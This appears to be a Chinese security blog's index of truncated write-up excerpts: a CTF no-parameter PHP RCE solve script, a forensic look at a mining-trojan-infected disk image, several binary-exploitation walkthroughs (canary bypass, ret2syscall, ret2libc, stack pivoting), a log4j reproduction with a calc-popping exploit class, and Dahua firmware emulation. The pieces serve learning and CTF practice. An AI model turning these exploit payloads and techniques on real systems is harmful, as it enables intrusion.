长安战疫网络安全卫士守护赛wp
其他题目整合到我的CTF仓库中了
其他题目
Misc八卦迷宫题目下载
flag为cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}
WebRCE_No_Para根据题目提示,无参数的RCE,
源码提示括号里不能有参数,且禁止了含dir的相关函数、end等指针的移动和session的使用,但可以利用数组函数将传入的另一个值进行命令执行,编写脚本如下
import requests payload = “readfile(pos(array_reverse(current(get_defined_vars()))))”url = f’http://da077b2f.lxctf.net/?code={payload};&a=flag.php' r = requests.get(url=url)print (r.text)
flag{dd5684123bd91016827ea1aca4890a0c}
逆向combat_slogan题目下载
拿到题目后发现是.jar的文件 ...
DDos、挖矿木马的逆向分析实战
挂载感染硬盘在linux系统中挂载img镜像文件,我们需要挂载这个img文件
首先通过命令fdisk 192.168.10.1-2021-11-29.img然后p命令查看磁盘的分区情况,units为512bytes/sectors,然后根据下面device中start开始的2048,去计算offset,offset = 512 * 2048 = 1048576
然后挂载分区,命令 mount -o loop,offset=1048576 192.168.10.1-2021-11-29.img /mnt/,然后进入/mnt目录下就可以看了。
linux敏感目录tmp分析可疑文件夹分别是Oct 17之后的这8个
用clamscan分别对这8个文件夹进行扫描,并没有发现任何感染的文件
开机自启动排查
查看开机自启动程序,发现selinux和DbSecuritySpt在开机自启动中
.ssh下的authoritized keys被攻击者访问或修改过
分析DbSecuritySpt发现木马的位置是在./etc/init.d/DbSecuritySpt,./etc/init.d/Db ...
美团CTF_babyrop
Canary机制的绕过+栈迁移漏洞分析题目
拿到题目检查保护和链接的动态库(题目给的是libc-2.27.so,分析本地的/lib/x86_64-linux-gnu/libc.so.6就行)
这题的重点在于Canary保护
1234567891011121314┌──(root💀e267254b2ec9)-[/home/babyrop]└─# checksec babyrop[*] '/home/babyrop/babyrop' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ┌──(root💀e267254b2ec9)-[/home/babyrop]└─# ldd babyrop linux-vdso.so.1 (0x00007ffd2c1d3000) libc.so.6 => /lib/x86_64-linu ...
Apache-log4j漏洞复现
apache-log4j本地漏洞复现POC下载
exp(弹出一个计算器)
1234567891011public class exp { static { try { String [] cmd={"calc"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); }catch (Exception e){ e.printStackTrace(); } }}
Main
12345678910import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import java.io.IOException;public class Main { public static fina ...
ret2syscall
漏洞分析题目ret2syscall
查看保护,开启了NX保护,不能ret2shellcode
12345678┌──(root💀e267254b2ec9)-[/home/ret2sys]└─# checksec rop [*] '/home/ret2sys/rop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
反汇编主函数,很显然gets会导致栈溢出,v4相对于ebp的偏移量为108字节,需要覆盖的返回地址距离v4的偏移量为112字节
1234567891011int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [esp+1Ch] [ebp-64h] BYREF setvbuf(stdout, 0, 2, 0); ...
ret2shellcode
sniperoj-pwn100-shellcode-x86-64分析题目sniperoj-pwn100-shellcode-x86-64
查看保护,ret2shellcode类型的题是没有NX保护的
123456789┌──(root💀e267254b2ec9)-[/home/pwn]└─# checksec shellcode [*] '/home/pwn/shellcode' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
从main中不难发现buf泄露了它的地址,并且存在栈溢出
12345678910111213int __cdecl main(int argc, const char **argv, const char **envp){ __int64 buf[2 ...
未知libc的ret2libc_攻防世界pwn-100
漏洞分析题目
查看保护
12345678┌──(root💀06aa46c0844f)-[/home]└─# checksec pwn-100[*] '/home/pwn-100' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main
1234567__int64 __fastcall main(__int64 a1, char **a2, char **a3){ setbuf(stdin, 0LL); setbuf(stdout, 0LL); sub_40068E(); return 0LL;}
sub_40068E,v1的空间只有0x40个字节,然而后面sub_40064D调用传入了200,疑似存在栈溢出可以利用
1234567int sub_40068E(){ char v1; // ...
ROP-64位-ret2libc
漏洞分析题目
查看可执行文件stack5的保护,只开启了NX保护
12345678┌──(root💀06aa46c0844f)-[/home/stack5]└─# checksec stack5[*] '/home/stack5/stack5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
查看动态链接库libc-2.23.so的保护,开启了PIE,每次加载基地址都会随机化
123456789┌──(root💀06aa46c0844f)-[/home/stack5]└─# checksec libc-2.23.so [*] '/home/stack5/libc-2.23.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: ...
ROP-花式栈溢出stack_pivoting
漏洞分析题目
查看保护
12345678┌──(root💀06aa46c0844f)-[/home/stack_pivoting]└─# checksec stack4 [*] '/home/stack_pivoting/stack4' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
程序会故意泄露buf的首地址(暂且不知道有啥用)
1234567891011121314int __cdecl main(int argc, const char **argv, const char **envp){ char buf; // [rsp+10h] [rbp-100h] setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); setbuf(stderr, 0LL); puts(&quo ...
DaHuaFirmware_emulation
大华固件模拟用grep搜httpd的方式找到web服务启动脚本,为sonia,arm架构,小端可执行文件
qemu用户模式去启动,发现报错,卡在了PDI_productGetHwidInfoByChip函数
qemu-arm -L . ./bin/sonia
grep搜一下这个函数,发现此函数是在lib目录下名为libpdi.so的动态链接库文件中
把这个动态链接库反汇编然后查看这个PDI_productGetHwidInfoByChip函数,发现是存在一个死循环,推测我们是进入了这个循环所导致的
一开始我单独的去把while的死循环给patch掉了,可以管一时之用,但后面紧接着又报错很多其他类似上述死循环的函数,而且不太好改,推测它处于一个大范围的硬件函数中,因此我们这里可以查看谁调用了PDI_productGetHwidInfoByChip函数(但目前来说很多不太好确定是谁)或者把这个函数直接返回0(采用这种方式)
把PDI_productGetHwidInfoByChip函数patch为:
12MOV.W R0, #0 BX LR
上面的两段汇编相当于return ...